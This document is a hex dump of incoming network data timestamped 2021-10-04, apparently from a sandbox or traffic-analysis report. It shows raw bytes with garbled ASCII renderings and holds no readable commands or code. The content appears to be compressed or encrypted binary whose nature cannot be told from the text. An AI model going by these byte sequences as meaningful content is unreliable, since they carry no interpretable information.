1e 39 4e c9 80 4d 6e 7a 53 73 93 a2 bc 22 8f bb 98 b6 5b 75 4c a7 93 8b 64 91 4e 2c 75 66 88 90 11 23 5e ef 59 6a af 2b 
bc 93 14 2a 59 d9 af a7 15 50 37 c8 f5 ee bf cd 7b 8d 33 6e c6 81 0c c5 ba 27 d9 d2 f4 02 30 12 d0 25 0d a9 b6 68 4c 12 
61 1a 36 cc 76 50 83 29 c6 0b dd d5 ce 5a 90 8e 51 df 49 1e 91 34 1d 53 cc 60 52 c7 b3 8e 5d 4e 94 80 8f fc 9c ff 26 4e 
a6 67 de 5d ee e0 15 33 67 c4 0f d5 a7 17 e6 f7 69 87 
Data Ascii: 7X}JohPV>Hd(G<A+i%{x}?!}}9{U]~G6KPBt?s.4Y~C)T9NMnzSs"[uLdN,uf#^Yj+*YP7{3n'0%hLa6vP)ZQI4S
`R]N&Ng]3gi

2021-10-04 18:06:38 UTC 91 IN Data Raw: 30 c6 92 4d 0a d8 b1 df 93 a7 16 ff 81 fb b0 3b ff af b1 65 77 b8 b1 d9 32 1f 49 eb 8e 7f 66 e1 78 ef 0b ba 8d af 
7f 11 06 b3 34 6d 3e 4a 2c ec 67 41 f9 c4 04 6c 5c a0 94 fa ec 46 87 95 74 f2 c7 12 af ff a6 f0 77 13 04 20 86 31 e2 7e 7d 
d2 e2 90 d5 04 07 93 e2 1a a1 93 52 a5 e1 e5 0c 05 29 8f 7d b2 97 c8 04 58 d3 81 52 e6 fc 6c 47 5e b8 20 7f bd f6 c4 e4 
61 0a 7d 2e a2 f2 42 3f af 8b e7 27 e1 48 32 7e b6 9b 72 93 37 75 63 4d a7 ef aa b4 9d f3 8c d2 e7 3a 68 13 54 1f 8c 06 
d2 b2 1b 4a b7 8e 33 88 85 8e ad 28 40 06 7e 98 49 28 fe 4d b7 ef e1 02 a0 ec 74 1b 99 d0 75 8a 4d 8e 57 6a f7 a2 c3 47 
08 0a 70 d6 b9 4b 4f a1 1c 6d 1f b7 4b 53 4b 08 87 6b 4c 58 f1 5c 11 8e e4 85 67 7b 90 13 81 e6 da e6 5c 4a 41 af 5d 12 
e7 4f d6 35 31 82 21 38 25 89 2e e1 f1 78 46 30 
Data Ascii: 0M;ew2Ifx4m>J,gAl\Ftw 1~}R)}XRlG^ a}.B?'H2~r7ucM:hTJ3(@~I(MtuMWjGpKOmKSKkLX\g{\JA]O51!8%.xF0

2021-10-04 18:06:38 UTC 92 IN Data Raw: 8f f8 5d ac 2d 40 e0 31 a0 dc 14 14 84 f1 e4 a2 40 4c 36 0d 9a 96 7b 19 69 fa 31 63 f5 07 73 7b 1b 74 25 18 8e 
e4 4c 00 7a 0f 5e 76 aa a7 e6 12 4a 89 d4 1b 1e 48 29 bd d6 4c 48 fc 1f 50 da 41 cf e2 7a a7 df 4c 62 70 1a 38 61 56 c9 
0e 94 06 19 78 c0 ac 19 93 69 1d d3 09 52 93 8c 2b f8 1b 56 5f 08 b0 04 10 d4 e2 02 dc d8 d2 58 54 a4 99 d4 4d 1b 53 d5 
a3 b5 86 09 f8 40 82 12 19 68 72 d3 b9 66 24 9a 09 13 a7 9a fe ba 8f cd 87 11 7a 9b 12 0a cc 9c 4c 74 b6 9e 36 9e 31 a4 
e2 c6 4e 9f 25 eb a4 30 80 af 8a 7b 75 13 f3 a9 ad 85 95 c2 82 6b 25 cf 4f ba c4 3a ed fd 43 ca 38 62 ca 9e 5e 64 6b 54 72
a1 47 bd 09 9e 46 8a 9d 43 7e 4d a7 85 97 85 9a 9c 2f 4e 67 99 91 1e 0b 4c c5 44 4a be 0a 5f 80 65 fe 4e 27 aa 05 ae 6b 
3f d9 ef 50 0b ff 5a 92 2b 7d c4 81 1d de b3 23 0c 
Data Ascii: ]-@1@L6{i1cs{t%Lz^vJH)LHPAzLbp8aVxiR+V_XTMS@hrf$zLt61N%0{uk%O:C8b^dkTrGFC~M/NgLDJ_eN'k?
PZ+}#

2021-10-04 18:06:38 UTC 93 IN Data Raw: dc bb 30 76 30 ab e0 4a ea 51 9c 7d 7b b4 a9 53 6f 30 f2 c8 f5 f6 b4 7a 56 6d 24 38 2e e9 a5 79 65 a2 69 bf 3c 
88 ed 9f e0 19 38 5a e3 83 fc b6 d7 b3 0b 1e ee 9c e8 83 62 f5 cb a7 00 95 d0 0e fb 1f 8d 78 27 5d de 21 91 97 4d 0c d8 
a5 b7 5b b5 02 ea 08 6c a7 e0 e8 75 b1 79 76 a0 a1 80 33 1f 4f fa fc d0 44 e3 7c f8 13 28 8f aa 6c 66 b5 9b 36 69 29 57 
28 3f eb 43 f8 48 c8 a6 86 b3 85 c5 ac 7c 95 95 75 f7 e1 55 bd d1 b2 f7 ff 03 d2 33 82 34 f8 7d 83 62 ec 81 d1 3d 8e a2 04 
01 bd eb c7 8d 5f e6 1d 06 28 d8 6d 64 1a e2 10 4c c6 81 b9 e4 fc 6c 1b 16 b8 20 6e bf f6 a1 de 49 4d 7e 2c d3 3a 4f 50 
b3 a2 92 2d 8e 6a 23 74 9b ca 70 90 32 6a 71 73 60 ec 24 05 9c a4 98 c4 f4 34 57 2e 51 30 3e 09 43 ae 1d f1 a6 88 28 9e 
98 95 14 89 4d 67 50 64 c5 2f f4 65 62 fa f5 1c a0 
Data Ascii: 0v0JQ}{So0zVm$8.yei<8Zbx']!M[luyv3OD|(lf6i)W(?CH|uU34}b=_(mdLl nIM~,:OP-j#tp2jqs`$4W.Q0>C(MgPd/eb

2021-10-04 18:06:38 UTC 95 IN Data Raw: 20 6e e7 a8 cd 1a 17 d7 40 19 2d e9 94 e8 d8 82 9f f7 43 01 02 8f 0b a5 07 db 73 1c 8c 87 ed 05 80 b5 39 3e 
b5 cc 0b f5 94 ff c8 d7 bf e4 2c 7a 9a 3b 65 0b 89 ef 57 84 dc 01 b2 e1 37 54 1e f7 92 14 3f 7a ea 43 db 85 81 64 c2 2f 4a 
90 06 b4 f8 03 c2 97 ec c5 a9 51 94 09 5b 65 a9 84 11 55 dc 33 62 e5 6e 76 7b 1d 1b 58 10 90 10 6b 3d 78 26 f8 62 82 1b 
fb 1b 5f 95 59 0d 14 53 d6 a8 ee 50 58 32 1f 50 d0 75 cd e8 7a bc ba 3e 74 8e 11 32 62 4c e4 3c 9e 0e 0e 12 22 19 31 ac 
4e 13 dc 07 4c ef 54 2b e9 1b 18 42 f2 f7 04 10 e8 09 b9 dd d8 cd 18 6c aa 9d da 17 50 49 03 2d 98 8e 12 d1 3f 5c 09 1d 
e1 6b c3 ab 7d 2b c2 e6 02 94 ab 96 c5 89 43 3a d4 7e 95 17 0c fd 2f 5d 7e a9 82 d8 8e 12 b5 22 a5 59 90 36 eb a0 09 e5 
b2 81 8f 58 31 fc a9 bb 82 83 43 5a b6 78 d0 49 f8 e5 
Data Ascii:  n@-Cs9>,z;eW7T?zCd/JQ[eU3bnv{Xk=x&b_YSPX2Puz>t2bL<"1NLT+BlPI-?\k}+C:~/]~"Y6X1CZxI

2021-10-04 18:06:38 UTC 96 IN Data Raw: 66 f6 13 34 61 ab 0d 4b 25 22 40 ca a5 6f 9a c6 38 14 c4 c0 78 6e 9e 51 4d 1e 64 77 d3 3a c1 27 18 0e 3d b2 
9d c2 b3 3d c7 bc e9 f2 8b 56 38 a2 2b 5d db f4 53 4d 49 d4 18 9c b9 d2 56 ef aa 38 5b 03 5a c2 ce a6 fd 3d bb 3a 61 3a 
ad ff 46 ea 46 9c 7d 7b e1 9e 57 6f 32 f0 67 f4 f6 a1 6c 44 7e e9 10 16 e9 a5 73 bb 81 4e bf 1c 88 ed 9f f1 06 46 96 e2 83 
f8 34 e9 1b e2 1e e8 b0 45 81 1f 16 ed b1 17 90 fc 4b 1d 1f 87 a2 25 6c d9 58 16 96 c0 27 ce a7 cd fa 52 02 ee 82 d9 c3 
49 fd af a8 0b 86 ab 99 4b 31 64 ac f8 87 08 46 8c 37 e8 18 b8 9e d4 1d 1f 69 91 4b 89 38 5c 3b eb 0a b4 f4 4a b7 79 e9 
fc 80 e9 e8 6f e8 67 79 e3 cd 81 c2 36 b4 e1 76 12 d0 48 64 20 ec 6d 25 76 83 f5 d9 15 18 a0 7f ef ac e7 d7 a7 9a 03 1d 
00 3a 43 68 1f fd e3 04 5c 5c 1e 75 90 fe 66 39 4e c3 
Data Ascii: f4aK%"@o8xnQMdw:'==V8+]SMIV8[Z=:a:FF}{Wo2glD~sNF4EK%lX'RIK1dF7iK8\;Jyogy6vHd m%v:Ch\\uf9N

2021-10-04 18:06:38 UTC 97 IN Data Raw: 5f c4 fd 0c d6 60 31 57 10 11 0d c8 f8 1e a5 f4 44 5a 30 a8 c2 db ba 09 87 9f c6 a5 79 5d 91 30 38 77 b4 21 71 
16 4e 87 ca 37 55 bc 20 8a 1a fb ce 5b 85 79 ed b6 a3 09 3c 11 b8 79 f0 ed b0 5c f3 15 17 64 6c 85 aa 39 6a f8 a8 5c 71 
39 d5 61 10 04 cd 43 39 24 a8 87 9a 34 33 00 85 16 b4 0c dd af 12 e3 a2 fb 0e 9e d0 56 3a c1 51 2d de b3 fd c1 ed ca cc 
61 7d b7 2c 65 04 ab ed 53 82 ae f9 de e3 36 74 3b ce e7 10 2e 7e 93 ed d2 5b 85 2e 86 1a 4a 9a 2a a8 de 2c 14 84 e8 
0a a7 47 a7 37 0c 8a 56 7b 19 78 cc 22 62 e6 b5 7c ee 1b 74 35 f8 92 32 5a 2c 73 3d f0 60 d7 ad f8 1b 5d 81 c2 77 1f 52 
d7 b8 f8 37 0f 93 1f 5a a7 51 dd e8 7e b4 ab c0 76 8e 11 69 7c 46 cc 1c 9f 1a 75 6d 4f 1b 35 a4 7e 77 a4 07 46 80 82 01 
d3 13 5e 23 4b b0 28 1f ee 01 82 de d8 c7 66 6d ad b5 c3 
Data Ascii: _`1WDZ0y]08w!qN7U [y<y\dl9j\q9aC9$43V:Q-a},eS6t;.~[.J*,G7V{x"b|t52Z,s=`]wR7ZQ~vi|FumO5~wF^#K(fm

2021-10-04 18:06:38 UTC 98 IN Data Raw: a4 de 65 82 f2 d2 ef 34 42 7d 2e ac fe 43 50 bf 90 19 2c a2 61 37 00 23 8d 61 9c 5e 69 64 5b b2 f3 28 03 82 3e 
61 c5 d8 37 5b 36 45 10 80 f7 42 88 3c 6a a4 f5 2c 8e 94 85 22 3b 4f 6f 40 8c 49 04 f6 72 6f ee e9 17 82 36 75 37 91 e8 
76 a3 1f 66 7e 86 ff 99 df 66 1d 3b 00 c7 b1 5a 98 ce 3a 7e 09 a2 5e 63 f1 da 83 6b 4a 26 df 43 ef 89 ce 98 67 17 93 3a 42
ed cb f1 46 82 41 ba 4c 12 f2 44 a6 83 22 25 c8 cd c0 44 25 c4 c8 4b 5e ce fa b6 0a f0 db f3 9e 41 a9 9c d7 91 eb 9e a4 d2
2f 0e e2 70 2d 44 04 15 02 33 e6 3b 50 fc 6a 2d 34 c6 bf dd a5 0a 8b 91 d5 b1 7d 50 6a 2f ea 7a 9a 2f 70 40 e9 80 7c 3c 
59 a7 40 f5 18 ea c0 33 07 7a c1 b9 b7 1c 29 11 b9 79 f0 ec bc 5c f3 15 11 58 a2 9b b9 2c 6f f6 a6 b4 8e 14 fb 49 02 2f e6 
bc d7 df 9d 90 66 2e 2f 00 ae 28 8c 65 22 9d 
Data Ascii: e4B}.CP,a7#a^id[(>a7[6EB<j,";Oo@Iro6u7vf~f;Z:~^ckJ&Cg:BFALD"%D%K^A/p-D3;Pj-4}Pj/z/p@|<Y@3z)y\X,oI/
f./(e"

Timestamp
kBytes
transferred Direction Data
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2021-10-04 18:06:38 UTC 99 IN Data Raw: 72 28 ad 41 2b a8 84 9d 1d fd 7c 48 12 00 85 79 ff be 6e 39 e8 fb 13 8b 95 f1 c4 02 41 30 cd 1e 55 19 19 c0 83 
56 6d ac 93 d9 9a 00 5c f5 e6 45 87 34 9a a8 20 8a b4 ee 0f 76 3f f5 af 71 87 96 40 2b 4a 7d d0 52 ac d1 35 02 f6 78 2e 
3b 49 cb fd 5d 6f 6b 41 f6 0f 01 6b 4b 1d 43 f7 1f 36 be 46 a7 92 82 8a 83 67 2e 73 68 97 83 f7 dc 73 cc 59 3a a3 01 5f 95 
00 16 59 d9 a1 36 b7 69 32 c8 f7 db a3 de f0 8c 1f 62 cc fa 1f d5 ac 28 df 96 eb 11 3a e9 d1 18 0c ab 62 73 6b 11 71 1e cd 
cd 4b 57 84 35 38 0d e9 29 e4 73 a5 6b ae 5b 7d 34 91 23 a3 e1 fe 6c 49 cc b3 51 47 b0 84 ae ee e8 9f 84 e9 63 ad 4b 1c 
d6 c4 e6 66 b2 1e 14 05 af d0 e6 53 c5 7b 9f 79 6f 1d f9 0f be f2 3c d9 50 15 80 cb 8e 4a 98 f2 34 6b bc 37 5a 35 5f 50 99 
ee 2b 98 ac 78 d3 c5 c0 78 6e e6 45 64 ac 61 
Data Ascii: r(A+|Hyn9A0UVm\E4 v?q@+J}R5x.;I]okAkKC6Fg.shsY:_Y6i2b(:bskqKW58)sk[}4#lIQGcKfS{yo<PJ4k7Z
5_P+xxnEda

2021-10-04 18:06:38 UTC 100 IN Data Raw: 9b 37 7d 38 5c 3d e9 77 50 e9 69 b3 71 86 b3 81 e9 f9 5d 96 84 7e e2 c9 83 65 d1 b4 f0 70 54 a9 3d 82 20 e8 
1c 97 c1 ec 80 f6 1e 3a 8c 06 0b aa 94 50 a7 e1 ee 67 02 6e 3a a3 65 1a e5 0e 70 41 ab 1a ee f1 4e a0 4e b8 2a 68 a7 85 
46 ec 49 47 54 ee a9 e3 49 43 b3 8c 88 b9 8c 6c 3a 6d b6 a6 5c 84 25 4e f0 59 b6 e2 37 06 89 38 9a ab 62 37 43 30 68 
32 9f 59 52 a1 3d 02 6c 89 22 89 b8 9f 2d 33 5e 62 2d 6b 49 28 f0 6d 72 eb 9a 12 89 c8 70 0a 96 b8 57 9a 42 9d ee bd f9 
b3 ca 70 0c 3d 89 50 b3 5a 43 e3 80 b1 11 a3 5c a5 75 fd 83 6b 51 58 8c 5e 11 82 3e 96 3f 7b 4d 13 81 ea da f3 24 54 53 
be 4a 01 a6 26 55 83 0e 24 f7 fe da 57 2b cd db 1f 3d 3d fa 9a 09 db 54 c2 a3 52 b8 9a 87 fb e2 88 5a d7 01 5d 81 71 28 
44 11 39 de cc e7 11 0a 2b 43 78 0e c7 bf d3 ac 08 b0 ad d5 
Data Ascii: 7}8\=wPiq]~epT= :Pgn:epANN*hFIGTICl:m\%NY78b7C0h2YR=l"-3^b-kI(mrpWBp=PZC\ukQX^>?{M$TSJ&U
$W+==TRZ]q(D9+Cx

2021-10-04 18:06:38 UTC 102 IN Data Raw: 31 da ef a8 a7 f3 0d 43 ec 7d 0a 14 59 c8 a0 e9 42 70 80 19 4f c9 a3 dd c4 58 b4 ae 5d 77 8e 1f 16 70 3c d7 19
9d 0a 67 af 4f 1b 37 8e f1 1f d9 1c 51 9a e9 82 e9 11 43 53 e2 a2 2e 19 fd 2f 1d c4 26 cc 60 50 ac e2 cb 46 04 45 3d 8a 03 
8c 18 f7 7b 55 62 a3 7b 78 d9 b7 75 28 95 f7 03 8d 8e f3 55 8a 6f 3c c4 0a a1 19 19 c2 b0 50 61 a2 80 ce 9f 0c a4 eb c7 af
90 1a e6 b2 32 8e af 8f 96 72 3f ee be b4 88 6c 4d 19 4d 7a ab 4d a8 ce 3e fb e1 53 ba 8e 21 60 86 4d 64 74 58 6b be b9 
ad 23 87 50 67 9b 75 77 45 dc 9a 9c 9a 94 6b a0 d5 db a0 0d 0b dd 55 d5 43 2e 04 00 5f 9b 70 f7 4a df ab 38 a4 65 25 36 
e7 f2 9e cf 75 83 32 6e ca 83 0f af b0 2d f2 8d 9b d7 28 ec d7 21 90 bf 9c 78 51 08 09 a4 c8 cd 50 4d 88 31 c0 0c d4 2d d0 
67 63 8c 7f b8 80 65 9f 31 93 e0 fd 12 6b cd 
Data Ascii: 1C}YBpOX]wp<gO7QCS./&`PFE={Ub{xu(Uo<Pa2r?lMMzM>S!`MdtXk#PguwEkUC._pJ8e%6u2n-(!xQPM1-
gce1k

2021-10-04 18:06:38 UTC 103 IN Data Raw: 10 3b 7a 7e 8a e0 16 00 66 0f 1e 74 bd 5a a2 9d f3 ed b1 8f 9b e6 16 04 1f 87 a6 bb 45 c6 11 37 69 4d 0c ce 3b 
c5 98 bf 22 11 86 db b0 a6 f6 b0 a9 56 9a ab 99 4f af 16 59 e7 8b 63 ed e3 78 e3 07 ab 8f a3 6e 0c 6d 81 c8 6c 14 76 3d 
92 7f 51 f4 4e a9 f6 ad b3 81 e8 ef 64 85 9b 29 7f c0 94 a6 9a 28 e8 6a 18 4e 3a 9a 3c 70 60 bd db 83 28 db 15 18 b9 17 
0f ac f6 d7 ba f4 1a 1c 2c 34 2b 7f 65 1a e7 08 47 c4 ba 1e e4 ed 62 2c 5c 46 21 48 b9 f9 ae e2 48 4d 78 28 80 78 4d 50 
bd 9c f9 42 27 6c 30 74 af 9c 72 92 23 77 61 42 48 e9 08 0c 88 52 91 c5 f4 31 45 55 d9 1a 9d 03 59 b7 31 6d b7 8c 3d 82 
6a 80 10 20 4d 1c 58 73 48 2c f0 4d f8 ec e1 02 9e d6 1b b2 93 c3 79 84 4c 8a 85 79 e9 b7 db a8 1f 17 a2 df a2 5e 49 df 
3e 73 e1 b0 76 4c 61 a1 8d 6a 4a 33 c4 73 39 12 e0 94 
Data Ascii: ;z~ftZE7iM;"VOYcxnmlv=QNd)(jN:<p`(,4+eGb,\F!HHMx(xMPB'l0tr#waBHR1EUY1m=j MXsH,MyLy^I>svLajJ3s9

2021-10-04 18:06:38 UTC 104 IN Data Raw: 56 12 ec cb fb 21 6f bf 26 65 08 be da aa 85 f6 7f dd b3 4c 47 39 e6 9d 0c 6e e5 85 77 d9 9a 97 18 a6 2d 5b 92 
3f bb 08 15 38 93 e1 84 dc 5c 8c 37 09 99 06 00 02 79 ec 26 57 bc b5 72 7b 04 6b 27 1a 90 0b 45 33 63 c9 f3 5a a3 9f 73 
e5 a6 7c cb 1b 07 5b d7 ad f2 5b 50 6f 1e 7c ca 5f a7 e6 7b b6 d1 5a 19 12 19 14 79 58 ed 0b 95 0e 19 75 51 0f cf a7 44 
10 de 10 c9 37 bd 69 17 ee b6 53 e3 a2 20 19 fd 21 1d d1 26 cc 60 4f a9 8f f4 a1 1b 4f 38 aa 99 9f 10 eb 93 4c 21 09 6c 
6b db a8 7d 33 8c d3 ec 8a bd fb 80 8e 7b 8a 3b 8e 7b 32 19 d5 ac 5e 7e d5 93 c8 9f fd a2 f4 db 47 9a 1d fa a4 26 9d 4e 
80 a9 76 27 f4 b8 ac 82 6c 4d 19 5b 6f db 43 ae d6 c4 fd db 56 1f 3b 65 2a 89 4c 46 f4 47 78 b2 d5 9f 25 98 45 99 9a 59 
6d 07 fc bc 0c 9a 90 68 97 6d 6c a0 37 0b dd 55 d8 39 
Data Ascii: V!o&eLG9nw-[?8\7y&Wr{k'E3cZs|[[Po|_{ZyXuQD7iS !&`OO8L!lk}3{;{2^~G&Nv'lM[oCV;e*LFGx%EYmhml7U9

2021-10-04 18:06:38 UTC 105 IN Data Raw: ba 83 c7 81 56 23 d0 3a 41 0d 7a 7e 54 46 fb 1b ab 83 06 7e d5 d8 1e 53 2b f8 ba cc bb fd ff ba 3a 61 27 b1 e2 
4a c2 2f 94 62 76 62 7d 7b 66 3f c5 7f c3 46 ad 50 53 76 23 01 1e f6 a8 8d ba ad 58 92 08 80 f2 99 25 38 07 7b e2 89 81 
2d fe 66 0b 01 e6 a7 4f 82 73 fb f2 a8 ed 93 d4 2f fe 1c 8f b9 3b 9a f1 24 16 96 47 24 66 a5 cc 8d c8 20 ef 86 df af 20 ec a7
a2 67 6d b4 93 b1 32 33 43 e9 83 1b 04 bf 87 16 e7 ad 97 b4 66 1d 78 93 29 61 c6 5d 13 e7 74 2b ef 4b b3 7f 93 dd b2 d1 
fd 60 80 8c 79 f2 c1 9c ac 2f b5 cd 7e 15 d4 24 c3 b0 ec 69 ab de fa 92 d3 15 03 aa 1d f5 ad cb dd a1 e2 6a aa 1a e4 42 
b0 77 1d ef 1e 4b da a9 0b ec e3 68 cd 4d 94 2e 61 d5 e7 d4 ec 4d 58 12 1d 9f fc 40 43 bf 8a f6 25 95 92 31 52 bb 8e 69 
be a8 64 65 51 bd f4 37 0b 8a 38 97 da 0a 34 6f 
Data Ascii: V#:Az~TF~S+:a'J/bvb}{f?FPSv#X%8{-fOs/;$G$f  gm23Cfx)a]t+K`y/~$ijBwKhM.aMX@C%1RideQ784o

2021-10-04 18:06:38 UTC 107 IN Data Raw: 4d 5b bb 53 f5 11 ed ab b8 fb 7b e7 9a ac 6d 3b 03 bd 7d e3 93 b6 a3 f2 3d 02 62 7b 37 c5 73 6f e7 a8 84 72 
6e d9 4b 15 38 eb aa a9 4b 80 99 92 09 14 08 5b 0f b6 77 d3 63 12 e7 dc 69 07 8a d0 43 56 88 ae d3 21 4d 30 c9 d7 f9 e4 
2c 76 9f 1e 74 00 ab 1f 54 92 f0 68 f4 a2 2b 5e 38 e6 99 12 2e 66 85 77 d9 33 8a 0b ae e5 4b 9a 20 a9 f6 14 14 9e e2 d4 
a6 53 bd 35 0d b2 56 7b 19 70 ec 22 78 db be 59 60 1b 73 23 ec 91 36 4f 34 78 37 f5 60 54 a6 d5 19 4e 88 d4 0d 0c ad d6 
90 f8 6f 72 ba fc 52 a1 47 dd e8 7e 9c af 51 5e 99 1b 14 79 45 d3 02 b5 b5 08 7d 44 33 d1 a2 68 1b f1 a8 47 80 8c 56 ce 
10 49 48 dc b1 3b 29 e8 29 c4 dd d8 cd ab 47 ae 88 d3 54 00 79 93 a3 99 8e 18 ec 69 52 02 f4 7a 54 dc aa 17 13 92 f7 16 
e4 6a f9 ab 81 5c 20 d4 75 84 09 1d de 62 5c 52 b1 bb 16 
Data Ascii: M[S{m;}=b{7sornK8K[wciCV!M0,vtTh+^8.fw3K S5V{p"xY`s#6O4x7`TNorRG~Q^yE}D3hGVIH;))GTyiRzTj\ ub\R

2021-10-04 18:06:38 UTC 108 IN Data Raw: d9 d2 c2 f7 98 36 1c 14 0e c6 a7 88 55 d3 59 63 6b 65 23 8e 1f ba e6 2a b6 68 b7 80 cf 82 4a 3c f3 34 6b 83 25 
60 1d 36 64 e1 48 2e 9a c0 2e 99 c3 c0 78 6d 89 41 71 84 c6 77 d5 35 fd 80 e8 0a 37 98 80 67 9a 3f c7 bb 8e c0 9d 7e 91 
d8 25 53 db cd 52 4d 49 d0 a4 b4 97 da 6c 87 26 e1 a6 04 44 90 3e b5 80 da ad b7 62 38 a8 f0 56 d6 2a b4 de 7d 9c 76 7f 
35 36 da 6d fe 28 a2 79 68 49 23 10 1c e4 b3 79 93 b9 4c 97 01 56 ed 93 d9 10 3b 7a a3 9f fc 36 ff 66 0f 1e e8 b4 47 82 
91 f2 ed b1 e0 93 f8 36 eb 1f 87 a6 3d 4c d9 19 0c a6 48 0c 4a a6 cc 87 5f 02 ee 97 f3 43 3e ff a9 a8 74 1e 8c 98 4f 37 37 
60 f8 87 06 69 ef 7a 92 3f b3 9c a3 46 2d 69 9b 3c 4b 3a 27 18 e8 71 54 dc be b7 7b 80 9b a5 e9 e2 67 bb b5 79 e3 c3 ae 
de a2 06 e3 72 0e d9 31 ec c4 ed 69 ad cd eb 89 d9 
Data Ascii: 6UYcke#*hJ<4k%`6dH..xmAqw57g?~%SRMIl&D>b8V*}v56m(yhI#yLV;z6fG6=LHJ_C>tO77`iz?F-i<K:'qT{gyr1i

2021-10-04 18:06:38 UTC 109 IN Data Raw: f6 5f 58 82 0e 64 df c7 da 7d 20 c4 d9 21 47 30 fb 8c 0d f3 cc c0 a3 58 ba 9a d7 80 ef 02 5b d3 03 15 fa 63 29 
e7 14 11 1c c1 e7 17 5b f5 68 50 39 c5 bf d9 ba ba 99 95 d5 3a 79 4c 94 7d c4 76 98 20 76 33 b0 80 7c 36 55 a1 63 f8 18 
0e c6 28 f9 97 ed bc bf 08 b8 29 bd 79 e0 fb af d1 4a 39 14 79 6c 86 bb 2e 7b cf 26 a0 70 13 c0 c7 12 3c e2 bd d5 d5 93 
97 8e 3e 0a a0 94 23 a7 03 cc 6d 06 f7 a4 62 2a 8a da 54 2f a5 d7 3d c8 a5 72 d4 ef d9 cc 8b 7c b7 2c 52 11 b1 d7 c4 a8 
c5 7f d1 f5 ad 76 29 e6 99 18 fe 66 85 77 c2 ad 9f 0b ae 27 62 ae 21 a5 fc 60 06 84 e2 cf b4 49 92 57 07 8b 5f f5 ae 6f 3a 
af 42 cd b5 73 68 1c 65 3d 03 97 0c 22 8a 71 37 f8 67 ad b6 f0 95 ee 85 60 96 08 df e8 bc fa 45 7c 8e 0f 56 c5 52 83 3e f6 
89 d5 53 77 88 01 77 ff 78 cc 18 9c 06 20 4e 4f 
Data Ascii: _Xd} !G0X[c)[hP9:yL}v v3|6Uc()yJ9yl.{&p<>#mb*T/=r|,Rv)fw'b!`IW_o:Bshe="q7g`E|VR>Swwx NO

2021-10-04 18:06:38 UTC 111 IN Data Raw: cc e1 a0 2f cd 0e 87 5c 77 cf 81 06 f8 80 3d f6 a1 fc 00 29 ea be c9 0b bd 96 5a f0 12 66 07 e4 df 4b 56 b3 2b 
c3 0c c3 44 0f 74 9d 87 3c b1 82 1e 9b 3b 82 e0 91 a8 49 cc b9 8e 6f 55 96 ac 93 86 0d 84 ed 44 c9 1b dd d2 ce eb 04 37 
73 72 0f d5 a9 b4 ce 1b 7d 82 69 49 22 3d 08 d1 a5 3e a2 4a c8 87 c5 56 77 ae db 03 61 af 2d 58 20 19 7a cc a5 2c 90 ee 
00 14 c4 ca a6 6c 9b 7f 64 b0 65 77 d7 3f f1 a8 74 8b 37 92 96 ea 9d 3f c7 ba 9a d4 1c c3 32 cd 3f 59 f3 7a 49 7d 4b f8 a9 
b4 97 d0 b9 e9 d9 0f 71 08 55 b8 ca a5 a8 1e b9 3a 6f 10 b9 f1 42 c8 33 e2 ee 7d 9c 76 5b 66 22 f2 6b f1 f6 b4 4b cd 79 
23 10 17 fa a3 62 bd 97 64 9a 0e 88 eb 37 e2 16 2f 6e f6 ab 5f 36 ff 6c 27 0f e8 b4 4d 89 65 87 86 b1 13 93 97 f7 fb 1f 8d 
b5 20 67 e9 09 10 f9 8f 0c ce ad e4 96 b5 02 e4 
Data Ascii: /\w=)ZfKV+Dt<;IoUD7sr}iI"=>JVwa-X z,ldew?t7?2?YzI}KqU:oB3}v[f"kKy#bd7/n_6l'Me g

Timestamp
kBytes
transferred Direction Data
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2021-10-04 18:06:38 UTC 112 IN Data Raw: a9 2f 32 4f 61 39 6b 49 28 fe 49 6f e7 c9 1c 8d c8 72 33 b7 c3 73 91 4f 9b 87 16 32 b1 cc 5c 01 03 bb d1 de ae 
48 ce 3c 47 08 b0 5a 51 4b 8d 81 6b 4c 1f f5 5c 11 8e 8d ec 6f 14 8f 3a b4 ee cb fd 58 9b 45 ad 44 3b a7 5c 58 82 1f 27 dd
bc ed 56 21 c0 b6 84 44 30 f1 40 15 2b db 1a b4 8e 37 8d d7 80 ee 9a 53 c5 12 0a f8 18 1e 45 15 15 73 06 e5 17 51 2f 70 
88 2e 1d ac c8 a9 09 b3 ad c4 a9 68 46 96 28 a9 bc 9a 36 7c 3b a1 88 a4 2e 83 ab 59 e9 c0 2d dc 3f 96 8f ec bc a8 3e 22 
03 bd 73 c9 bf a4 a2 f4 11 3a 71 7f 86 c5 50 6f e7 a8 00 61 1f c0 9c 06 36 f3 b6 d7 ca b3 5b 89 26 2b 0b 85 2d 9f 1a cc 6b 
9c 54 a4 35 16 98 c9 59 04 0c c6 2d de a3 e7 d4 f3 54 fb 3c 54 5e 27 74 0a a9 d0 5c 5c 0c 7d d1 f2 3e 4f 34 f1 4f 88 31 64 
ad 9e d8 85 81 03 bf 25 92 4c 33 ab e7 18 0c 
Data Ascii: /2Oa9kI(Ior3sO2\H<GZQKkL\o:XED;\X'V!D0@+7SEsQ/p.hF(6|;.Y-?>"s:qPoa6[&+-kT5Y-T<T^'t\\}>O4O1d%L3

2021-10-04 18:06:38 UTC 113 IN Data Raw: 9c 8a 3e d3 b4 bd 97 1c fb 22 83 6b d9 4e b3 dd 31 fc e6 5f 2b 33 b0 c8 aa 5c 69 68 cb cf b1 a1 6a ff f7 be 98 
9a 5f 72 4c b4 9f 9d 8b 9b 7d 08 9c 6c a4 b1 00 ca 89 c4 34 bd ac 00 59 96 00 1d 58 d9 ad 46 73 78 37 c2 f1 04 d3 1f 0c 
8d 39 01 34 80 0c d2 7a 21 ed ae e7 0e 29 fd da 16 13 43 9d 5e 4b 03 6c 15 88 bb 59 52 9b 3d dd 1f ce 2b de 7d 82 a8 ad 
a5 ae 3c 96 5f 6f e5 fe 6f 4c a3 4f 88 47 b6 fa 7d 97 f8 94 93 37 21 74 61 dd d8 cc 8f ea 30 1c 12 10 f3 b0 92 51 d4 7a 8c 
2d 9b 24 00 28 b7 e5 e8 a5 2f e8 81 cf 8e 65 e4 0f 35 61 a9 48 9a 27 31 7a de 7f 45 48 c4 38 1e ab 3a 79 6c 9b 83 68 b3 
26 64 de 3f f8 a3 06 1b c9 9f ba e3 95 b1 70 a9 9e cb 9f 45 39 d8 34 52 ec 57 ac 4c 6f e9 14 db 6b d1 56 ef c8 19 36 d3 52 
b8 c6 ae ad cf b0 3a 74 33 b7 ef bc c3 12 8d 7a 
Data Ascii: >"kN1_+3\ihj_rL}l4YXFsx794z!)C^KlYR=+}<_ooLOG}7!ta0Qz-$(/e5aH'1zEH8:ylh&d?pE94RWLokV6R:t3z

